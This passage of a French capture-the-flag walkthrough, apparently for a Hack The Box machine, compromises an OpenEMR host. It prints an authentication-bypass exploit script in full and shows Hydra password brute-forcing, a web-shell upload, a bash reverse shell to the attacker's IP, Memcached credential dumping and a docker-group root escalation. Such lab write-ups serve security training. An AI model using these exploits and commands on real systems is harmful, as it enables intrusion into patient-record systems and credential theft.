Normally, access to these pages requires authentication as a patient. If a user were to visit
any of those pages unauthenticated, they would be redirected to the login page.
'''
import requests
import argparse
my_parser = argparse.ArgumentParser(description='OpenEMR Authentication bypass')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--Openemrpath', type=str)
my_parser.add_argument('-R', '--PathToGet', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.Openemrpath
pathtoread = args.PathToGet
session = requests.Session()
check_vuln_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/portal/account/register.php'
check_vuln = session.get(check_vuln_url).text
if "Enter email address to receive registration." in check_vuln:
print('[+] Host Vulnerable. Proceeding exploit')
else:
print('[-] Host is not Vulnerable: Registration for patients is not enabled')
header = {
'Referer': check_vuln_url
}
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + pathtoread
Exploit = session.get(exploit_url, headers=header)
print(Exploit.text)
L’en-tête indique que la vulnérabilité permet à un utilisateur non authentifié de contourner l’authentification du portail patient.
Le commentaire du script précise qu’après avoir accédé à la page d’inscription, plusieurs ressources du répertoire portal deviennent accessibles sans authentification, notamment :
add_edit_event_user.php
find_appt_popup_user.php
get_allergies.php
get_amendments.php
get_lab_results.php
get_medications.php
get_patient_documents.php
get_problems.php
get_profile.php
portal_payment.php
messaging/messages.php
messaging/secure_chat.php
report/pat_ledger.php
report/portal_custom_report.php
report/portal_patient_report.php
L’objectif est donc de récupérer ces ressources afin d’examiner leur contenu.
Tu affiches ensuite l’aide du script afin d’identifier les paramètres attendus :
python3 50017.py -h
La commande retourne :
usage: 50017.py [-h] [-T IP] [-P PORT] [-U OPENEMRPATH] [-R PATHTOGET]
OpenEMR Authentication bypass
options:
-h, --help show this help message and exit
-T, --IP IP
-P, --PORT PORT
-U, --Openemrpath OPENEMRPATH
-R, --PathToGet PATHTOGET
Le script attend les paramètres suivants :
- l’adresse de la cible avec
-T; - le port HTTP avec
-P; - le chemin de base de l’installation OpenEMR avec
-U; - la ressource à demander avec
-R.
Deux lignes du code permettent de comprendre comment construire le chemin à fournir avec -R.
La première montre que le script accède à la page d’inscription du portail :
check_vuln_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/portal/account/register.php'
La seconde montre que la valeur fournie avec -R est ajoutée telle quelle à l’URL :
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + pathtoread
Comme le commentaire du script précise que les ressources ciblées se trouvent dans le répertoire portal, tu dois donc fournir leur chemin complet.
Pour commencer, tu testes :
/portal/add_edit_event_user.php
Depuis le répertoire hms/50017, tu lances alors 50017.py sur cette ressource :
python3 50017.py \
-T hms.htb \
-P 80 \
-U '' \
-R '/portal/add_edit_event_user.php' \
| tee add_edit_event_user.txt
L’option -U '' indique que l’installation OpenEMR est directement accessible à la racine de hms.htb.
La réponse est affichée dans le terminal et enregistrée en même temps dans :
add_edit_event_user.txt
Le script confirme d’abord que la cible est vulnérable :
[*] Checking vulnerability:
[+] Host Vulnerable. Proceeding exploit
[+] Results:
Dans la réponse, une information mérite déjà d’être relevée :
<td nowrap>
<b>Provider:</b>
</td>
<td style='padding:0px 5px 5px 0' nowrap>
<select class="form-control" name='form_provider_ae' id='form_provider_ae' onchange='change_provider();'>
<option value='1'>Administrator, Administrator</option>
</select>
</td>
Cette valeur apparaît dans le champ Provider du formulaire de rendez-vous. Elle indique la présence d’un profil administrateur dans OpenEMR, sans encore révéler son nom d’utilisateur ni son mot de passe.
Le premier test ayant confirmé le fonctionnement du contournement, tu automatises maintenant la récupération des autres ressources mentionnées dans le script.
Comme add_edit_event_user.php a déjà été récupérée, tu l’exclus de la liste :
pages=(
find_appt_popup_user.php
get_allergies.php
get_amendments.php
get_lab_results.php
get_medications.php
get_patient_documents.php
get_problems.php
get_profile.php
portal_payment.php
messaging/messages.php
messaging/secure_chat.php
report/pat_ledger.php
report/portal_custom_report.php
report/portal_patient_report.php
)
for page in "${pages[@]}"; do
output="${page//\//_}"
output="${output%.php}.txt"
python3 50017.py \
-T hms.htb \
-P 80 \
-U '' \
-R "/portal/$page" \
| tee "$output"
done
La substitution :
${page//\//_}
remplace les / présents dans certains chemins par des _.
Par exemple :
messaging/messages.php
est enregistré sous le nom :
messaging_messages.txt
Comme la première ressource a déjà révélé la chaîne Administrator, tu recherches ce terme dans l’ensemble des fichiers récupérés :
grep -ni 'administrator' *.txt
La commande retourne :
messaging_messages.txt:67: $scope.authrecips = [{"userid":"openemr_admin","username":"Administrator Administrator"}];
add_edit_event_user.txt:86: <option value='1'>Administrator, Administrator</option>
La seconde ligne correspond à l’information déjà observée dans le formulaire de rendez-vous.
La première apporte en revanche une information supplémentaire : elle révèle le nom d’utilisateur associé au profil administrateur :
openemr_admin
Tu disposes désormais d’un nom d’utilisateur OpenEMR valide. Les exploits authentifiés 49998.py et 45161.py nécessitent toutefois également le mot de passe associé à ce compte.
Il faut maintenant déterminer ce mot de passe. Tu commences donc par examiner le formulaire de connexion d’OpenEMR afin d’identifier précisément les paramètres transmis lors d’une tentative d’authentification.
Recherche du mot de passe de openemr_admin
Tu disposes maintenant d’une page de connexion OpenEMR et d’un nom d’utilisateur valide, openemr_admin. Dans ce contexte, l’outil qui vient naturellement à l’esprit est Hydra, puisqu’il permet de tester automatiquement une liste de mots de passe sur un formulaire d’authentification HTTP.
Avant de construire la commande Hydra, tu dois identifier les éléments nécessaires pour reproduire correctement la requête d’authentification :
- l’URL vers laquelle les identifiants sont envoyés ;
- les paramètres transmis dans la requête ;
- le champ contenant le nom d’utilisateur ;
- le champ contenant le mot de passe ;
- un élément permettant de reconnaître un échec d’authentification.
Pour relever ces différents éléments, tu interceptes une tentative de connexion avec Burp Suite.
Identification des paramètres avec Burp Suite
Tu ouvres Burp Suite et configures ton navigateur pour faire passer ses requêtes par le proxy.
Si besoin, tu peux te référer à la recette dédiée pour configurer Burp Suite Community Edition avec FoxyProxy :
« Burp Suite Community Edition avec FoxyProxy »Sur la page de connexion d’OpenEMR, tu saisis le nom d’utilisateur openemr_admin et un mot de passe volontairement incorrect, par exemple test.
Tu interceptes la tentative de connexion dans Burp Suite, puis tu envoies la requête dans Repeater pour l’examiner plus facilement.

Dans Repeater, tu peux maintenant examiner précisément la requête envoyée par le formulaire.
Elle utilise la méthode HTTP POST vers l’URL suivante :
/interface/main/main_screen.php?auth=login&site=default
Le corps de la requête contient les paramètres suivants :
new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=test
Tu identifies ainsi les deux champs qui nous intéressent :
authUsercontient le nom d’utilisateur ;clearPasscontient le mot de passe.
Comme le nom d’utilisateur openemr_admin est déjà connu, seule la valeur du paramètre clearPass doit varier. Hydra utilise le marqueur ^PASS^ pour indiquer l’emplacement où il doit tester successivement les mots de passe de la liste :
clearPass=^PASS^
Tu reprends donc le corps de la requête observée dans Burp et remplaces uniquement la valeur du mot de passe par ^PASS^ :
new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^
Il reste maintenant à indiquer à Hydra comment reconnaître une tentative de connexion échouée.
Dans la réponse renvoyée après le mot de passe incorrect test, tu repères la ligne suivante :
w.top.location.href = '/interface/login_screen.php?error=1&site=';
La chaîne error=1 apparaît donc lors d’un échec d’authentification. Tu peux l’utiliser comme condition d’échec dans Hydra :
F=error=1
Tu disposes maintenant de tous les éléments nécessaires pour construire la requête Hydra :
Utilisateur : openemr_admin
Cible : hms.htb
Méthode : POST
URL : /interface/main/main_screen.php?auth=login&site=default
Champ utilisateur : authUser
Champ mot de passe : clearPass
Marqueur d’échec : error=1
Attaque par dictionnaire avec Hydra
Comme tu te trouves encore dans le répertoire hms/50017, tu reviens d’abord dans le répertoire de travail hms :
cd ..
Tu crées ensuite un sous-répertoire dédié à Hydra ainsi qu’un fichier contenant quelques mots de passe de test :
mkdir -p hydra
cat > hydra/test-passwords.txt <<'EOF'
test
password
admin
H@v3_fun
EOF
L’arborescence de travail contient désormais un répertoire dédié à l’exploit 50017.py et un autre à Hydra :
hms/
├── 50017/
└── hydra/
Cette première liste ne vise pas encore à trouver le mot de passe. Elle sert surtout à vérifier que Hydra reproduit correctement la requête observée dans Burp Suite et reconnaît bien le marqueur d’échec.
Tu lances alors Hydra avec cette liste de test afin de vérifier que la requête est correctement reproduite et que les échecs d’authentification sont bien détectés :
hydra -l openemr_admin \
-P hydra/test-passwords.txt \
hms.htb \
http-post-form \
'/interface/main/main_screen.php?auth=login&site=default:new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^:F=error=1' \
-t 1 \
-V
L’option -l indique le nom d’utilisateur déjà connu, tandis que -P désigne le fichier contenant les mots de passe à tester.
Le module http-post-form attend trois éléments séparés par des deux-points :
<URL>:<données envoyées>:<condition d’échec>
Dans cette commande, ils correspondent à :
/interface/main/main_screen.php?auth=login&site=default
l’URL qui reçoit la requête de connexion ;
new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^
le corps de la requête POST observé dans Burp. Hydra remplace ^PASS^ par chaque mot de passe de la liste ;
F=error=1
la condition d’échec : si error=1 apparaît dans la réponse, Hydra considère que l’authentification a échoué.
L’option -t 1 limite Hydra à une seule tâche simultanée pour cette phase de validation, tandis que -V affiche chaque tentative effectuée.
Voici le résultat :
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at [date]
[DATA] max 1 task per 1 server, overall 1 task, 4 login tries (l:1/p:4), ~4 tries per task
[DATA] attacking http-post-form://hms.htb:80/interface/main/main_screen.php?auth=login&site=default:new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^:F=error=1
[ATTEMPT] target hms.htb - login "openemr_admin" - pass "test" - 1 of 4 [child 0] (0/0)
[ATTEMPT] target hms.htb - login "openemr_admin" - pass "password" - 2 of 4 [child 0] (0/0)
[ATTEMPT] target hms.htb - login "openemr_admin" - pass "admin" - 3 of 4 [child 0] (0/0)
[ATTEMPT] target hms.htb - login "openemr_admin" - pass "H@v3_fun" - 4 of 4 [child 0] (0/0)
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at [date]
Les quatre mots de passe de test sont correctement identifiés comme des échecs. Cela confirme que Hydra reproduit correctement la requête d’authentification et que le marqueur F=error=1 permet de reconnaître une connexion refusée.
Le fonctionnement de la commande étant validé, tu peux maintenant passer à une liste de mots de passe plus réaliste. Tu extrais par exemple les 10 000 premières entrées de RockYou :
head -n 10000 /usr/share/wordlists/rockyou.txt \
> hydra/rockyou-10000.txt
Cette limitation permet de commencer par les mots de passe les plus courants sans lancer immédiatement l’intégralité de la wordlist RockYOU.
Tu relances ensuite Hydra avec cette liste de 10 000 mots de passe :
hydra -l openemr_admin \
-P hydra/rockyou-10000.txt \
hms.htb \
http-post-form \
'/interface/main/main_screen.php?auth=login&site=default:new_login_session_management=1&authProvider=Default&languageChoice=1&authUser=openemr_admin&clearPass=^PASS^:F=error=1' \
-t 1 \
-V
Hydra teste successivement les mots de passe de la liste. Dans ce cas, il finit par identifier une combinaison valide :
[80][http-post-form] host: hms.htb login: openemr_admin password: xxxxxx
Tu disposes désormais d’identifiants OpenEMR valides :
openemr_admin:xxxxxx
Avant de les utiliser avec les exploits OpenEMR authentifiés, tu peux vérifier si ces identifiants ont également été réutilisés pour un compte local accessible en SSH.
ssh openemr_admin@cache.htb
Le mot de passe découvert avec Hydra n’est toutefois pas accepté en SSH. Rien n’indique donc, à ce stade, que ces identifiants soient réutilisés pour un compte local.
Tu disposes maintenant des identifiants OpenEMR nécessaires pour tester les exploits authentifiés 49998.py et 45161.py.
Analyse de l’exploit 49998.py
Depuis le répertoire de travail hms, tu crées un sous-répertoire dédié à l’exploit 49998.py, puis tu copies le script avec searchsploit :
mkdir -p 49998
cd 49998
searchsploit -m php/webapps/49998.py
Avant de l’exécuter, tu ouvres 49998.py dans un éditeur de texte afin d’en comprendre le fonctionnement général :
nano 49998.py
L’en-tête indique que le script exploite la vulnérabilité :
CVE-2018-15139
La description précise qu’il s’agit d’un téléversement de fichier non restreint dans :
/interface/super/manage_site_files.php
L’exploitation nécessite toutefois un utilisateur OpenEMR authentifié.
Le script commence donc par construire la requête de connexion :
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
body = {
'new_login_session_management': '1',
'authProvider': 'Default',
'authUser': username,
'clearPass': password,
'languageChoice': '1'
}
auth = session.post(auth_url, headers=header, data=body)
Tu retrouves ici les mêmes paramètres d’authentification que ceux observés précédemment avec Burp Suite : authUser pour le nom d’utilisateur et clearPass pour le mot de passe.
Une fois authentifié, le script cible la page vulnérable :
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php'
Il prépare ensuite une requête multipart/form-data contenant un fichier PHP nommé shell.php. Ce fichier embarque p0wny@shell, une interface web permettant d’exécuter des commandes sur le serveur.
La requête est envoyée avec :
session.post(exploit_url, headers=header, data=body)
Si l’envoi réussit, la webshell devient accessible ici :
path = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/images/shell.php'
L’exploitation consiste donc à téléverser shell.php via manage_site_files.php, puis à l’ouvrir dans le navigateur pour exécuter des commandes.
Le fonctionnement général de l’exploit est donc assez simple :
- s’authentifier auprès d’OpenEMR ;
- envoyer
shell.phpviamanage_site_files.php; - accéder ensuite à la webshell dans
/sites/default/images/.
p0wny@shell est une webshell PHP légère qui permet d’exécuter des commandes sur le serveur depuis une interface web, avec les privilèges du compte utilisé par le serveur web.
Avant de lancer l’exploitation, tu affiches l’aide du script afin d’identifier les paramètres attendus :
python3 49998.py -h
La commande retourne :
/hms/49998/49998.py:25: SyntaxWarning: invalid escape sequence '\ '
/ _ \ _ __ ___ _ __ | ____| \/ | _ \ | ___| / _ \ / | |___ /
___ _____ __ __ ____ ____ ___ _ _____
/ _ \ _ __ ___ _ __ | ____| \/ | _ \ | ___| / _ \ / | |___ /
| | | | '_ \ / _ \ '_ \| _| | |\/| | |_) | _____ |___ \| | | || | |_ |
| |_| | |_) | __/ | | | |___| | | | _ < |_____| ___) | |_| || |_ ___) |
\___/| .__/ \___|_| |_|_____|_| |_|_| \_\ |____(_)___(_)_(_)____/
|_|
_____ _ _ _
| ____|_ ___ __ | | ___ (_) |_
| _| \ \/ / '_ \| |/ _ \| | __|
| |___ > <| |_) | | (_) | | |_
|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
usage: 49998.py [-h] [-T IP] [-P PORT] [-U PATH] [-u USERNAME] [-p PASSWORD]
OpenEMR Remote Code Execution
options:
-h, --help show this help message and exit
-T, --IP IP
-P, --PORT PORT
-U, --PATH PATH
-u, --USERNAME USERNAME
-p, --PASSWORD PASSWORD
Le SyntaxWarning provient d’une séquence d’échappement utilisée dans la bannière ASCII du script et n’empêche pas son exécution.
Les paramètres attendus sont les suivants :
-T adresse ou nom d’hôte de la cible
-P port HTTP
-U chemin de base de l’installation OpenEMR
-u nom d’utilisateur OpenEMR
-p mot de passe OpenEMR
OpenEMR est directement accessible à la racine de hms.htb, sans sous-répertoire supplémentaire. Le paramètre -U, qui représente le chemin de base de l’installation, peut donc rester vide :
La commande d’exploitation prend ainsi la forme suivante :
python3 49998.py \
-T hms.htb \
-P 80 \
-U '' \
-u openemr_admin \
-p 'xxxxxx'
Le script indique que la webshell doit être accessible à l’adresse suivante :
http://hms.htb/sites/default/images/shell.php
Tu ouvres cette URL dans le navigateur afin de vérifier que l’envoi a réussi. L’interface de p0wny@shell s’affiche bien.

L’envoi a bien fonctionné : l’interface de p0wny@shell s’affiche et permet d’exécuter des commandes sur la cible.
Pour identifier le compte sous lequel elles sont exécutées, tu saisis :
id
La réponse montre que la webshell s’exécute sous le compte www-data :
uid=33(www-data) gid=33(www-data) groups=33(www-data)
L’exploit 49998.py permet donc d’obtenir directement une exécution de commandes en tant que www-data.
Identification des utilisateurs locaux
Depuis la webshell, tu examines le contenu de /home afin d’identifier les comptes utilisateurs disposant d’un répertoire personnel :
ls -l /home
La commande retourne :
total 8
drwxr-xr-x 11 ash ash 4096 May 6 2020 ash
drwxr-x--- 5 luffy luffy 4096 May 6 2020 luffy
Deux comptes disposent donc d’un répertoire personnel sous /home :
ash
luffy
Le répertoire personnel de luffy n’est accessible qu’à son propriétaire et aux membres de son groupe :
drwxr-x--- 5 luffy luffy
En revanche, les permissions du répertoire personnel de ash autorisent les autres utilisateurs à le parcourir. www-data peut donc en examiner le contenu :
ls -l /home/ash
La sortie obtenue est la suivante :
total 28
drwxrwxr-x 2 root root 4096 May 5 2020 Desktop
drwxrwxr-x 2 root root 4096 Oct 9 2019 Documents
drwxrwxr-x 2 root root 4096 Sep 18 2019 Downloads
drwxrwxr-x 2 root root 4096 Sep 18 2019 Music
drwxrwxr-x 2 root root 4096 Sep 18 2019 Pictures
drwxrwxr-x 2 root root 4096 Oct 9 2019 Public
-r-x------ 1 ash ash 33 Jul 31 08:11 user.txt
Le fichier user.txt est bien présent. Ses permissions montrent que seul son propriétaire, ash, dispose d’un droit d’accès :
-r-x------ 1 ash ash 33 Jul 31 08:11 user.txt
Le shell obtenu en tant que www-data ne permet donc pas de lire le flag utilisateur.
Les identifiants ash:H@v3_fun, découverts au début de l’énumération, n’ont jusqu’à présent fonctionné ni en SSH ni sur OpenEMR. Comme user.txt appartient à ash et n’est pas lisible par www-data, tu peux maintenant tester ce mot de passe directement avec su.
Depuis la webshell, tu tentes donc de basculer vers l’utilisateur ash :
su - ash
La tentative échoue avec le message suivant :
su: must be run from a terminal
Cette erreur n’indique pas que le mot de passe est incorrect. Elle signifie simplement que su a besoin d’un terminal interactif pour demander le mot de passe.
La webshell p0wny@shell permet bien d’exécuter des commandes, mais elle ne fournit pas ce type de terminal. Il faut donc obtenir un reverse shell avant de réessayer su.
Obtention d’un reverse shell en tant que www-data
Pour obtenir un shell plus interactif permettant notamment d’utiliser su, tu commences par lancer un listener sur Kali :
rlwrap -cAr nc -lvnp 4444
Depuis p0wny@shell, tu exécutes ensuite un reverse shell Bash vers l’adresse IP de l’interface tun0 de Kali, sur le port 4444 :
bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'
Le listener reçoit alors une connexion en provenance de la cible :
connect to [10.10.x.x] from [10.129.x.x]
Tu disposes maintenant d’un reverse shell sous le compte www-data :
www-data@cache:/var/www/hms.htb/public_html/sites/default/images$
Ce reverse shell reste rudimentaire et ne se comporte pas encore comme un vrai terminal interactif. Tu le stabilises donc en suivant la recette dédiée :
« Stabiliser un Reverse Shell Bash »Tu crées d’abord un pseudo-terminal avec Python :
python3 -c 'import pty; pty.spawn("/bin/bash")'
Tu places ensuite le shell en arrière-plan avec Ctrl+Z, puis dans le terminal Kali, tu exécutes :
stty raw -echo
fg
De retour dans le shell distant, tu réinitialises le terminal :
reset
Lorsque reset demande le type de terminal, tu réponds :
xterm
Enfin, tu définis la variable d’environnement TERM :
export TERM=xterm
Passage à l’utilisateur ash
Tu disposes maintenant d’un terminal suffisamment interactif pour réessayer su vers le compte ash :
su - ash
Lorsque le mot de passe est demandé, tu utilises celui découvert dans functionality.js :
H@v3_fun
Cette fois, l’authentification réussit et tu obtiens un shell sous le compte ash :
ash@cache:~$
Tu vérifies ton identité :
id
La sortie confirme que tu es maintenant connecté sous le compte ash :
uid=1000(ash) gid=1000(ash) groups=1000(ash)
Lecture du flag user.txt
Tu peux maintenant lire le flag utilisateur :
cat /home/ash/user.txt
8e33xxxxxxxxxxxxxxxxxxxxxxxxxx097b
La partie Prise pied s’achève ici, avec l’accès au compte ash et la lecture de user.txt.
Tu peux maintenant poursuivre l’énumération locale afin de rechercher une possibilité d’escalade de privilèges.
Escalade de privilèges
Une fois connecté en tant que ash, tu peux commencer l’énumération locale afin d’identifier une piste permettant d’obtenir les privilèges root.
La méthode générale est détaillée dans la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » .
Vérification sudo
sudo -l
La commande demande le mot de passe de ash, puis indique qu’aucune commande ne lui est autorisée via sudo :
Sorry, user ash may not run sudo on cache.
La piste sudo peut donc être écartée.
Capabilities
getcap -r / 2>/dev/null
Les capabilities permettent d’accorder à un programme certains privilèges normalement réservés à root, sans lui attribuer l’ensemble des privilèges du superutilisateur.
La commande ne retourne aucun binaire présentant une capability exploitable dans ce contexte.
La piste des capabilities peut donc être écartée.
SUID
Tu poursuis avec suid3num.py afin d’identifier les fichiers possédant le bit SUID.
Comme le script se trouve sur Kali, tu le transfères d’abord vers la cible en suivant la recette dédiée :
« Copier des fichiers depuis et vers Kali Linux »Depuis Kali, dans le répertoire contenant suid3num.py, tu lances par exemple un serveur HTTP :
python3 -m http.server 8000
Sur la cible, tu te places dans /dev/shm puis tu récupères le script :
cd /dev/shm
wget http://10.10.x.x:8000/suid3num.py
Tu peux ensuite l’exécuter :
python3 suid3num.py
Lorsqu’un exécutable possède le bit SUID, il s’exécute avec les privilèges de son propriétaire plutôt qu’avec ceux de l’utilisateur qui le lance. Ici, l’outil ne met en évidence aucun binaire personnalisé ou exploitable pour obtenir root.
[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
------------------------------
[#] SUID Binaries found in GTFO bins..
------------------------------
[!] None :(
------------------------------
L’outil ne met en évidence aucun binaire SUID personnalisé ou directement exploitable pour obtenir root.
La piste SUID peut donc être écartée.
Services locaux
Les premières pistes classiques n’ayant rien révélé d’exploitable, tu poursuis l’énumération locale en recherchant les services qui écoutent sur la machine :
ss -tulnp
Cette commande affiche les sockets TCP et UDP en écoute, avec leurs adresses et leurs ports. Elle permet notamment d’identifier des services accessibles uniquement localement et donc invisibles depuis l’extérieur.
La sortie montre plusieurs services en écoute :
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 10.129.1.52%ens160:68 0.0.0.0:*
udp UNCONN 0 0 [fe80::a0de:adff:feba:ff70]%ens160:546 [::]:*
tcp LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:11211 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 128 *:80 *:*
Les ports 22 et 80 correspondent aux services déjà identifiés pendant l’énumération initiale.
Deux autres services écoutent uniquement sur l’interface loopback :
127.0.0.1:3306
127.0.0.1:11211
Le port 3306 correspond à MySQL, utilisé par OpenEMR.
Le port 11211, en revanche, mérite davantage d’attention : il est généralement associé au service de cache Memcached.
Comme ce service n’écoute que sur 127.0.0.1, il n’était pas accessible depuis Kali lors de l’énumération externe. Le shell obtenu sous le compte ash permet désormais de l’interroger directement depuis la cible.
Identification du service Memcached
Pour confirmer qu’il s’agit bien de Memcached et connaître sa version, tu lui envoies la commande version :
printf 'version\r\nquit\r\n' | nc 127.0.0.1 11211
Ici, printf envoie deux commandes au service :
versionpour demander sa version ;quitpour fermer proprement la connexion.
Les séquences \r\n correspondent aux fins de ligne attendues par le protocole texte de Memcached.
Le tube | transmet ces commandes à Netcat, qui ouvre une connexion TCP vers 127.0.0.1 sur le port 11211.
Le serveur répond :
VERSION 1.5.6 Ubuntu
Cette réponse confirme qu’un service Memcached 1.5.6 est bien actif sur la machine.
Memcached est un service de cache en mémoire. Les applications peuvent y stocker temporairement des données sous la forme de couples clé-valeur.
Une clé identifie une donnée mise en cache, tandis que la valeur correspond au contenu qui lui est associé.
Ici, le service n’écoute que sur 127.0.0.1 et ne demande aucune authentification. Depuis le shell de ash, tu peux donc commencer à examiner son contenu.
Énumération des objets stockés dans Memcached
Maintenant que Memcached est identifié et accessible, tu peux commencer à examiner les données qu’il contient. Pour cela, tu demandes les statistiques sur les objets actuellement stockés :
printf 'stats items\r\nquit\r\n' | nc 127.0.0.1 11211
La sortie contient notamment :
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 16
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 108
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 1989
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END
La sortie contient de nombreuses statistiques, mais une ligne est particulièrement intéressante :
STAT items:1:number 5
Elle indique que le slab 1 contient actuellement cinq objets.
Dans Memcached, un slab regroupe des objets de taille similaire afin d’optimiser leur stockage en mémoire. Ici, l’identifiant 1 correspond donc au slab qui contient les cinq objets détectés.
Tu peux maintenant demander à Memcached de lister les clés présentes dans le slab 1 :
printf 'stats cachedump 1 100\r\nquit\r\n' | nc 127.0.0.1 11211
Le premier argument, 1, désigne le slab à examiner. Le second, 100, indique le nombre maximal d’entrées à retourner.
La commande retourne :
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
Cinq clés sont donc disponibles :
link
user
passwd
file
account
Ces clés sont particulièrement intéressantes : user et passwd suggèrent qu’un nom d’utilisateur et un mot de passe pourraient être stockés dans le cache.
Tu peux maintenant récupérer la valeur associée à chacune d’elles.
Récupération des valeurs stockées dans Memcached
Pour vérifier ce que contiennent ces cinq clés, tu envoies successivement une commande get à Memcached :
for key in link user passwd file account; do
echo "===== $key ====="
printf "get %s\r\nquit\r\n" "$key" | nc 127.0.0.1 11211
done
La sortie révèle le contenu suivant :
===== link =====
VALUE link 0 21
https://hackthebox.eu
END
===== user =====
VALUE user 0 5
luffy
END
===== passwd =====
VALUE passwd 0 9
0n3_p1ec3
END
===== file =====
VALUE file 0 7
nothing
END
===== account =====
VALUE account 0 9
afhj556uo
END
Chaque réponse indique la clé demandée, la taille de la valeur, puis affiche son contenu avant le marqueur END.
Parmi les données récupérées, les clés user et passwd fournissent un nouveau couple d’identifiants :
luffy:0n3_p1ec3
Comme luffy a déjà été identifié parmi les comptes disposant d’un répertoire personnel sous /home, tu peux maintenant tester ce mot de passe avec su.
Passage de ash à luffy
Tu tentes alors de basculer vers le compte luffy :
su - luffy
Lorsque le mot de passe est demandé, tu utilises celui récupéré dans Memcached :
0n3_p1ec3
L’authentification réussit et tu obtiens un shell sous le compte luffy :
luffy@cache:~$
Tu vérifies ensuite l’identité de luffy ainsi que les groupes auxquels il appartient :
id
La sortie montre notamment que luffy appartient au groupe 999(docker) :
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
Cette appartenance mérite une attention particulière. Le groupe docker permet généralement d’accéder au socket du démon Docker. Or, le démon Docker s’exécute habituellement avec les privilèges de root sur l’hôte.
Un utilisateur capable de piloter Docker peut donc, selon la configuration, lancer un conteneur avec un accès très étendu au système hôte et potentiellement obtenir les privilèges de root.
Tu vas maintenant vérifier si luffy peut effectivement utiliser Docker et si cette configuration est exploitable.
Vérification de l’accès au démon Docker
Tu vérifies d’abord que luffy peut communiquer avec le démon Docker :
docker ps
La commande ne retourne aucun conteneur en cours d’exécution et ne produit aucune erreur de permission. luffy peut donc bien utiliser Docker.
Tu vérifies ensuite quelles images Docker sont disponibles localement :
docker images
La sortie montre la présence de l’image suivante :
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 6 years ago 64.2MB
L’image ubuntu:latest est déjà présente localement. Tu peux donc l’utiliser directement pour créer un nouveau conteneur.
L’idée consiste à monter la racine / de la machine hôte dans ce conteneur, puis à utiliser chroot pour traiter cette arborescence comme la nouvelle racine du shell.
Montage du système de fichiers hôte dans un conteneur
docker run --rm -it \
-v /:/mnt/host \
ubuntu:latest \
chroot /mnt/host /bin/bash
Cette commande crée un conteneur interactif à partir de l’image ubuntu:latest, monte la racine / de l’hôte sous /mnt/host, puis lance un shell Bash en considérant ce répertoire comme sa nouvelle racine grâce à chroot.
Cette commande se décompose ainsi :
docker run
crée et démarre un nouveau conteneur ;
--rm
supprime automatiquement le conteneur lorsqu’il se termine ;
-it
ouvre un terminal interactif ;
-v /:/mnt/host
monte la racine / de la machine hôte dans le conteneur sous le chemin /mnt/host ;
ubuntu:latest
indique l’image utilisée pour créer le conteneur ;
chroot /mnt/host /bin/bash
lance un shell Bash en utilisant /mnt/host comme nouvelle racine du système de fichiers.
La commande réussit et ouvre un shell en utilisant le système de fichiers de l’hôte comme racine.
root@c28626745b44:/# id
uid=0(root) gid=0(root) groups=0(root)
La sortie confirme que le shell s’exécute avec les privilèges de root.
root.txt
Tu peux maintenant lire le flag root :
root@c28626745b44:/# cat /root/root.txt
190cxxxxxxxxxxxxxxxxxxxxxxxxxxxx5d33
La lecture de root.txt marque la fin de l’exploitation : la machine est désormais entièrement compromise.
Conclusion
Cache propose une exploitation progressive dans laquelle plusieurs informations qui paraissent initialement secondaires deviennent indispensables par la suite.
